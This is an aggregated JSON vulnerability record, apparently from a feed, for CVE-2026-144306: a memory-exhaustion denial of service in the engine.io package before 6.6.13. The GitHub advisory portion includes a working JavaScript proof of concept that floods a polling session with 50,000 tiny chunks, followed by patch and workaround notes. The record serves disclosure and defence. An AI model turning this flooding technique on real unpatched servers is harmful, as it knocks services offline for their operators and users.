{"id":"CVE-2026-144306","aliases":["EUVD-2026-143538","GHSA-c8pq-854x-25q2"],"status":"published","title":"Socket.IO: Engine.IO DoS via memory exhaustion","description":"Socket.IO enables bidirectional and low-latency communication for every platform. Prior to 6.6.13, the Engine.IO server processes polling POST requests with unbounded request body chunk buffering, allowing an unauthenticated attacker with direct server access to establish a polling session and then use its session identifier in a POST request fragmented into many small chunks, forcing excessive string-object creation and memory consumption. Deployments behind reverse proxies that concatenate chunks before forwarding are less exposed, while direct Engine.IO connections using polling transport can experience severe performance degradation or memory exhaustion. This issue is fixed in version 6.6.13.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-12-04","score":0.00811,"percentile":0.58278,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-770"],"published":"2026-12-03T17:59:47Z","modified":"2026-12-04T21:53:25Z","fixes":[{"ecosystem":"npm","package":"engine.io","fixed_in":["6.6.13"],"sources":["ghsa"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"engine.io","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.6.13"}]}]}],"products":[{"vendor":"socketio","product":"socket.io"}],"references":[{"url":"https://github.com/socketio/socket.io/security/advisories/GHSA-c8pq-854x-25q2","tags":["x_refsource_CONFIRM","advisory"]},{"url":"https://github.com/socketio/socket.io/commit/f0df289212e6ff138723933e33db891796f4d3d1","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/socketio/socket.io/releases/tag/engine.io@6.6.13","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-144306","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-c8pq-854x-25q2"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/144xxx/CVE-2026-144306.json","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-144306","title":"Socket.IO: Engine.IO DoS via memory exhaustion","description":"Socket.IO enables bidirectional and low-latency communication for every platform. Prior to 6.6.13, the Engine.IO server processes polling POST requests with unbounded request body chunk buffering, allowing an unauthenticated attacker with direct server access to establish a polling session and then use its session identifier in a POST request fragmented into many small chunks, forcing excessive string-object creation and memory consumption. Deployments behind reverse proxies that concatenate chunks before forwarding are less exposed, while direct Engine.IO connections using polling transport can experience severe performance degradation or memory exhaustion. This issue is fixed in version 6.6.13.","status":"published","published":"2026-12-03T17:59:47.686Z","modified":"2026-12-04T16:55:56.694Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-770"],"ssvc":{"exploitation":"none","automatable":"yes","technical_impact":"partial","date":"2026-12-04"},"updated_at":"2026-12-04T17:03:25.769949Z"}],"euvd":[{"id":"EUVD-2026-143538","description":"Socket.IO enables bidirectional and low-latency communication for every platform. Prior to 6.6.13, the Engine.IO server processes polling POST requests with unbounded request body chunk buffering, allowing an unauthenticated attacker with direct server access to establish a polling session and then use its session identifier in a POST request fragmented into many small chunks, forcing excessive string-object creation and memory consumption. Deployments behind reverse proxies that concatenate chunks before forwarding are less exposed, while direct Engine.IO connections using polling transport can experience severe performance degradation or memory exhaustion. This issue is fixed in version 6.6.13.","status":"published","published":"2026-12-03T17:59:47Z","modified":"2026-12-04T16:55:56Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-03T19:33:58.413601Z"}],"ghsa":[{"id":"GHSA-c8pq-854x-25q2","title":"Socket.IO: Engine.IO DoS via memory exhaustion","description":"### Summary\n\nA Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to **unbounded chunk buffering** when processing polling POST requests.\n\n**This vulnerability primarily affects direct connections to the Engine.IO server** (without a reverse proxy), as most reverse proxies (Nginx, HAProxy, Apache) will concatenate chunks before forwarding them to the backend. An attacker with direct access could send a request body split into many small chunks, forcing the server to create excessive string objects and causing memory exhaustion.\n\n### Proof of concept\n\n```js\nimport http from \"node:http\";\nimport { Server } from \"engine.io\";\nimport { Socket } from \"engine.io-client\";\n\n// Start a vulnerable Engine.IO server\nconst engine = new Server();\nconst server = http.createServer();\nengine.attach(server);\n\nserver.listen(3000, async () =\u003e {\n  console.log(\"Vulnerable server listening on port 3000\");\n\n  // Create a connection first to get a session ID\n  const client = new Socket(\"ws://localhost:3000\", { transports: [\"polling\"] });\n  await new Promise((resolve) =\u003e client.on(\"open\", resolve));\n\n  // Attacker: Send polling POST with many small chunks (exceeds safe buffer limit)\n  const nodeReq = http.request(\n    {\n      hostname: \"localhost\",\n      port: 3000,\n      path: `/engine.io/?transport=polling\u0026EIO=4\u0026sid=${client.id}`,\n      method: \"POST\",\n      headers: {\n        \"Content-Type\": \"text/plain\",\n        \"Transfer-Encoding\": \"chunked\",\n      },\n    },\n    (res) =\u003e {\n      console.log(\"Response status:\", res.statusCode);\n      client.close();\n      server.close();\n    }\n  );\n\n  // Send many small chunks to exhaust memory\n  for (let i = 0; i \u003c 50_000; i++) {\n    nodeReq.write(\"a\");\n  }\n  nodeReq.end();\n});\n```\n\n**Expected Result:** The server may run out of memory or experience severe performance degradation due to excessive string concatenation and chunk buffering.\n\n### Patches\n\nFixed in:\n\n- `engine.io@6.6.13` (via commit https://github.com/socketio/socket.io/commit/f0df289212e6ff138723933e33db891796f4d3d1)\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by:\n\n1. **Using a reverse proxy** (e.g., Nginx, HAProxy, Apache) - Most reverse proxies concatenate chunks before forwarding, effectively neutralizing this attack vector\n2. **Limiting request body size at the reverse proxy level** (e.g., Nginx `client_max_body_size`)\n3. **Rate limiting connections per IP** to prevent chunk flooding\n4. **Disabling polling transport** if your application only needs WebSocket:\n \n```js\nconst engine = new Server({\n  transports: [\"websocket\"]\n});\n```\n\nNote: These are **temporary mitigations**. Upgrading to `engine.io@6.6.13` and above is the recommended fix.\n\n### Credits\n\nThe vulnerability was responsibly disclosed by [Salih Çağlar İspirli](https://github.com/hicay).","status":"published","published":"2026-12-04T21:53:24Z","modified":"2026-12-04T21:53:25Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-12-04T21:59:20.06816Z"}],"nvd":[{"id":"CVE-2026-144306","description":"Socket.IO enables bidirectional and low-latency communication for every platform. Prior to 6.6.13, the Engine.IO server processes polling POST requests with unbounded request body chunk buffering, allowing an unauthenticated attacker with direct server access to establish a polling session and then use its session identifier in a POST request fragmented into many small chunks, forcing excessive string-object creation and memory consumption. Deployments behind reverse proxies that concatenate chunks before forwarding are less exposed, while direct Engine.IO connections using polling transport can experience severe performance degradation or memory exhaustion. This issue is fixed in version 6.6.13.","status":"published","published":"2026-12-03T18:17:27.21Z","modified":"2026-12-04T17:19:13.42Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-770"],"ssvc":{"exploitation":"none","automatable":"yes","technical_impact":"partial","date":"2026-12-04"},"updated_at":"2026-12-04T17:26:29.876621Z"}],"osv":[{"id":"CVE-2026-144306","title":"Socket.IO: Engine.IO DoS via memory exhaustion","description":"Socket.IO enables bidirectional and low-latency communication for every platform. Prior to 6.6.13, the Engine.IO server processes polling POST requests with unbounded request body chunk buffering, allowing an unauthenticated attacker with direct server access to establish a polling session and then use its session identifier in a POST request fragmented into many small chunks, forcing excessive string-object creation and memory consumption. Deployments behind reverse proxies that concatenate chunks before forwarding are less exposed, while direct Engine.IO connections using polling transport can experience severe performance degradation or memory exhaustion. This issue is fixed in version 6.6.13.","status":"published","published":"2026-12-03T17:59:47.686Z","modified":"2026-12-04T21:02:47.169378017Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-12-04T21:27:50.529822Z"}]}}
